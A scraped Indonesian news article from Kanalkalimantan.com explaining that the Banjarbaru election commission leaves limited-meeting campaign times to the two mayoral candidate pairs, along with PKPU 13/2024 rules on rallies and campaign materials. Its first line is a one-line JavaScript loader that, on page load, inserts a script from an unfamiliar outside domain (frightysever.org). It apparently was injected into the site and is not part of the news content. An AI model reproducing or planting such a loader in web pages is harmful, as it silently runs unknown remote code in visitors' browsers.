(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Tak Dijadwalkan, Dua Paslon Pilwali Banjarbaru Boleh Kampanye Hari yang Sama


KANALKALIMANTAN.COM, BANJARBARU – Masa kampanye mulai berjalan selama 60 hari ke depan, dua pasangan calon (Paslon) Pilwali Banjarbaru beserta tim partai politik mulai menggelar pertemuan terbuka.

Ada Paslon yang menggunakan kesempatan kampanye hari pertama untuk melakukan konsolidasi internal dan menata jadwal kampanye.

Semua kegitan kampanye tidak dijadwalkan oleh KPU Banjarbaru, melainkan masing-masing Paslon membuat surat tanda terima pemberitahuan (STTP) kampanye untuk kemudian diterbitkan kepolisian sebelum kegiatan kampanye berlangsung.

Komisioner Divisi Hukum dan Pengawasan Komisi Pemilihan Umum (KPU) Kota Banjarbaru, Resty Fatma Sari mengatakan, pada Pilkada 2024 ini KPU tidak menjadwalkan kampanye untuk pertemuan terbatas dan pertemuan tatap muka atau dialog.

Baca juga: Eksekusi Pembongkaran Kandang Babi di Guntung Manggis Batal

Keputusan itu diambil berdasarkan hasil rapat pleno internal jajaran komisioner KPU Banjarbaru beberapa waktu lalu.

“Kami sepakat untuk tidak mengatur jadwal kampanye terkait dengan pertemuan terbatas dan pertemuan tatap muka atau dialog, mengingat waktu juga cuma dua bulan belum lagi dikurangi hari-hari besar keagamaan dan hari-hari besar nasional,” ujar Resty Fatma Sari kepada Kanalkalimantan.com.

Seiring dimulai tahapan kampanye, Paslon diberi kebebasan untuk memilih waktu kampanye asal masih berada dalam rentang waktu yang sesuai diatur dalam PKPU Nomor 13 Tahun 2024, yakni mulai tanggal 25 September 2024 samapi 23 November 2024.

Kampanye Cawali Lisa Halaby di Kelurahan Guntung Manggis, Rabu (25/9/2024) lalu. Foto: wanda

Baca juga: Edukasi Kelistrikan di Desa Tayan Peringati Hari Pelanggan Nasional 2024

“Karena wewenang KPU cuma sebatas memetapkan waktu yang sudah disusun mulai 25 September – 23 November, artinya kami berikan kebebasan stiap paslon untuk berkampanye di rentang waktu tersebut,” jelasnya.

KPU Banjarbaru meminta untuk kedua tim Paslon dapat mengatur satu sama lain, jika ada kampanye jenis pertemuan itu yang dilaksanakan di waktu yang bersamaan.

“Meskipun kampanye di hari yang sama, kalau terjadi tabrakan paslon bisa saling mengatur satu sama lain karena memang dampak hal ini bukan wewenang KPU,” jelas Resty.

Karena menggunakan sistem kampanye tak terjadwal, kedua Paslon beserta tim diminta memperhatikan hari-hari besar keagamaan dan hari-hari besar nasional.

Paslon juga dibebaskan untuk memilih jam pelaksanaan kampanye untuk pertemuan terbatas dan pertemuan tatap mula atau dialog.

Baca juga: ULM Turun ‘Kasta’ A ke C, Mahasiswa Hilang Semangat Rampungkan Skripsi

Baik itu dilaksanakan pagi, siang, sore atau malam, dalam PKPU tersebut tidak mengatur harus pukul berapa Paslon melaksanakan kampanye berupa pertemuan terbatas dan pertemuan tatap mula atau dialog. Berbeda dengan jenis kampanye kegiatan lain berupa rapat umum.

Dimana PKPU Nomor 13 tahun 2024 tepatnya di pasal 41, mengatur bahwa rapat umum dimulai pukul 09.00 waktu setempat dan berakhir paling lambat pukul 18.00 waktu setempat dengan menghormati hari dan waktu ibadah di Indonesia.

Kemudian dalam pasal 41 ayat (2) disebutkan rapat umum sebagaimana dimaksud pada ayat (1) dilaksanakan di lapangan, stadion, alun-alun, atau tempat terbuka lainnya.

“Sementara untuk rapat umum nanti akan kita bicarakan lebih lanjut dengan kawan-kawan LO masing-masing paslon karena mereka punya hak untuk melaksanakan maksimal satu kali rapat umum di tingkat kabupaten dan kota,” jelas dia.

“Jadi nanti terkait rapat umum akan kembali akan kami jadwalkan dengan kawan-kawan paslon,” sambungnya.

Baca juga: Mengenang YS Agus Suseno dari Panggung Taman Budaya Kalsel

Lebih jauh PKPU Nomor 13 Tahun 2024 juga mengatur terkait penyebaran bahan kampanye kepada umum nilainya tidak boleh lebih dari Rp100 ribu, serta harus disesuaikan dengan standar biaya pemasukan daerah.

“Dan tidak boleh dikonversikan dalam bentuk uang, barangnya ada, misalnya penutup kepala, pin hingga stiker,” tandas Resty. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.